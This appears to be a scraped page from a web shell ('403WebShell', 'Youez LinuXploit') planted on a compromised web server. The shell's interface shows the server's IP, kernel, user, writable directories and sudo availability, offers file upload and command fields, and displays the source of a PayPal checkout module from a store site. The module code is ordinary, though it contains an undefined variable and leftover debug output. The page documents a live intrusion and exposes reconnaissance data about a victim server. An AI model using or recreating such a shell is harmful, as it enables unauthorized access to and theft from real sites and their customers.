Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/storePaypal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/storePaypal/main.php
<?php

namespace modules\storePaypal;

class main extends \moduleMain {

	use \modules\input\traits {
			\modules\input\traits::__construct as __ConstructInput;
		}
	use \modules\database\traits {
			\modules\database\traits::__construct as __ConstructDatabase;
		}
	use \modules\output\traits {
			\modules\output\traits::__construct as __ConstructOutput;
		}

	private $css;
	private $view;
	private $model_paypal;
	private $model_order;
	
	public function __construct() {
		parent::__construct(__DIR__);
		$this->__ConstructInput();
		$this->__ConstructDatabase();
		$this->__ConstructOutput();
	}

	public function Activate() {
		hook_add('html.prepare', [$this, '__head']);
		hook_add('template.store.checkout.COL2', [$this, '__column2']);
		hook_add('template.store.fulfill.COL1', [$this, '__column1'], 10);				// process the paypal payment
		hook_add('template.store.fulfill.COL3', [$this, '__column3']);

		hook_add('order.json.full', [$this, '__order_json'], 90);						// return the json for the full checkout page
		hook_add('order.json.delivery', [$this, '__order_delivery'], 90);				// return the json for the delivery panel on checkout page
		hook_add('order.json.confirm', [$this, '__order_confirm'], 90);
		hook_add('order.update.freight', [$this, '__order_update_freight'], 90);		// must be after priority 50
		hook_add('order.payment.paypal', [$this, '__order_payment']);					// capture full/partial payment
		hook_add('order.approve.paypal', [$this, '__order_approve']);					// click in Confirm Order
// to do: attach tracking number(s) to an order
		$this->view = $GLOBALS['loader']->getView('paypal_view', __DIR__);
		$this->model_paypal = $this->loadModel('paypal_model');
		// address model not loaded here - we use paypal deets instead
		$this->model_order = $this->loadModel('order_model', 'store');
	}

	public function __column3(&$html) {			// payment method
		$text = $this->view->Column3Text();
		$this->view->UpdateHTML($html, 'COL3', $text);
	}
	public function __column1(&$html) {
		$text = $this->view->Column1Text();
		$this->view->UpdateHTML($html, 'COL1', $text);
	}
	public function __column2(&$html) {
		$text = $this->view->Column2Text();
		$this->view->UpdateHTML($html, 'COL2', $text);
	}

	private function isActive() {
		return !empty($this->settings['clientid']) && !empty($this->settings['secret']);
	}

	public function __head(&$theme) {
		if ($this->isActive()) {
			$clientid = rawurlencode($this->settings['clientid']);
			$this->includeFile("https://www.paypal.com/sdk/js?client-id={$clientid}&currency=USD&intent=authorize", 'paypal.js');

			$base = $this->StaticUriModule(__DIR__);
			$this->includeFile("$base/paypal_checkout.js")->depends('paypal.js');
		}
	}

	private function _loadInternalOrder($order_id) {
		$this->model_order->OrderId($order_id);
		$items = $this->model_order->AsHandleBars_Items();
		// add current product details - upc, sku, etc
		$items = hook_execute('product.overlay', $items);

		$order_data = $this->model_order->AsHandleBars();
		$order_data['order_id']	= $this->model_order->OrderId();
		$order_data['items'] 	= $items;
		
		$this->model_paypal
			->Currency('USD')
			->ClientId($this->settings['clientid'])
			->Secret($this->settings['secret'])
			->OrderData($order_data);
	}
	
	final function order_create() {
		// get the current order from the Store
		$order_id = $_SESSION['order'];
		$this->_loadInternalOrder($order_id);
		$data = $this->model_paypal->createOrder();
		header('Content-type: application/json');
		die(json_encode($data, JSON_UNESCAPED_SLASHES));
	}

	final function order_change() {
		$paypal_id = $_POST['orderID'];
		$address = $_POST['shippingAddress'];		// this does not contain street

		$this->model_paypal->PaypalId($paypal_id);
		$order_id = $this->model_paypal->OrderId();
		
		// calculate a new freight charge based on zip
		$this->_loadInternalOrder($order_id);
		// get freight options
		$params = $this->model_order->getFreightParameters($address['postalCode']);		// country is extracted from postalCode
		$services = $params->services;
		while(count($services)) {
			$first = array_shift($services);
			if ($first['cost']) break;
		}
		
		// update the order
		if ($this->model_order->getPhysicalFlag()) {
			$this->model_paypal->UpdateShipping($first['cost']);
		} else {
			$this->model_paypal->UpdateShipping(0);
		}
		
		// update our copy of the order using $first
		$this->model_order->updateOrderFreight($first['key'], $params->targetZip, $params->targetCtry);
		
		// update our Subtotal panel
		$res = [
			'html' => [
				[
						'field' => 'subtotals',
						'template' => 'store_panel_subtotal',
				]
			],
		];
		$data = $this->model_order->AsHandleBars();
		$res = array_merge($res, $data);
		
		header('Content-type: application/json');
		die(json_encode($res, JSON_UNESCAPED_SLASHES));
	}
	
	final function order_finalize() {
		$paypal_id = $_POST['orderID'];

		$this->model_paypal->PaypalId($paypal_id);
		$order_id = $this->model_paypal->OrderId();
		$this->_loadInternalOrder($order_id);
		
		// calculate a new freight charge based on zip
		$this->model_paypal->HoldOrder();

		// PARTIAL SETTLEMENT: For Digital orders
		// https://developer.paypal.com/docs/api/payments/v2/#authorizations_capture
		
		$res = [
			'redirect' => TRUE,				// reload the page
		];
		return $res;
	}
	
	public function __order_json(&$json, $order_id, $u_id) {
		$this->model_order->OrderId($order_id);
		if ($this->model_order->Status() == 'paypal') {		// is this a paypal order?
			$json['ro_account'] = 1;
			$json['ro_address'] = 1;
			$json['single'] = 1;			// only ever a single address.  But which one?
			$json['can_add'] = 0;			// addresses only added via paypal
			$json['hide_paypal'] = 1;
			$json['hide_payment'] = 1;
			
			// default to freight? ...
			$json['accordion'] = 'freight';
			$json['method'] = 'paypal';
		}
	}
	
	public function __order_delivery(&$json, $order_id, $u_id) {
		$this->model_order->OrderId($order_id);
		if ($this->model_order->Status() == 'paypal') {		// is this a paypal order?
			$json['ro_address'] = 1;
			$json['single'] = 1;							// only ever a single address.  But which one?
			$json['can_add'] = 0;							// addresses only added via paypal

			// get specified address
			$special = [];
			foreach($json['list_address'] as $addr) {
				if ($addr['guid'] == $json['default']) {
					$special = $addr;
					break;
				}
			}
			$json = array_merge($json, $special);
		}
	}

	public function __order_confirm(&$json, $order_id, $u_id) {
		$this->model_order->OrderId($order_id);
		if ($this->model_order->Status() == 'paypal') {		// is this a paypal order?
			$json['method'] = 'paypal';
		}
	}
	
	public function __order_update_freight(&$res, $order_id, $post, &$settings) {
		$this->model_order->OrderId($order_id);
		if ($this->model_order->Status() == 'paypal') {		// is this a paypal order?

			// get freight charge
			$info = $this->model_order->AsHandleBars();
			$amount = $info['freightamt'];

			// get PaypalId
			$paypal_id = $this->model_paypal->fromOrderId($order_id);
			$this->model_paypal
				->Currency('USD')
				->ClientId($this->settings['clientid'])
				->Secret($this->settings['secret'])
				->PaypalId($paypal_id)
			// update paypal
				->UpdateShipping($amount);
		}
	}
	
	final function finalize() {
		$order_id = hook_execute('nonce.verify', FALSE, 'order_id', FALSE, $this->param('auth', ''));
		if ($order_id === FALSE) {
			return [ 'result' => 72005, 'message' => 'invalid or expired authorization token' ];
		}
		
		// get our order
		$this->model_order->OrderId($order_id);
		$paypal_id = $this->model_paypal->fromOrderId($order_id);
		
		$error = $this->model_paypal
				->Currency('USD')
				->ClientId($this->settings['clientid'])
				->Secret($this->settings['secret'])
				->PaypalId($paypal_id)
				->finalizeOrder();						// process the payment
		if (is_string($error)) {
			return [
				'result' => 72006,
				'message' => 'Paypal error - ' . $result,
			];
		}

		return [
			'result' => -9999,
			'message' => 'Yippee! Payment has gone through',
			// redisplay
		];
		
	}
	
	// if $params->partial is true, expect another call to __order_payment at some point
	public function __order_payment($result, $params) {
		$this->_loadInternalOrder($params->order_id);
		$this->model_paypal->ProcessPayment($params);
		echo "__order_payment\n";
		var_dump($result);
		var_dump($params);
	}

	// https://developer.paypal.com/docs/checkout/standard/customize/authorization/ ??
	public function __order_approve($result, $params) {
		$this->_loadInternalOrder($params->order_id);
		// authorize the order
		
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit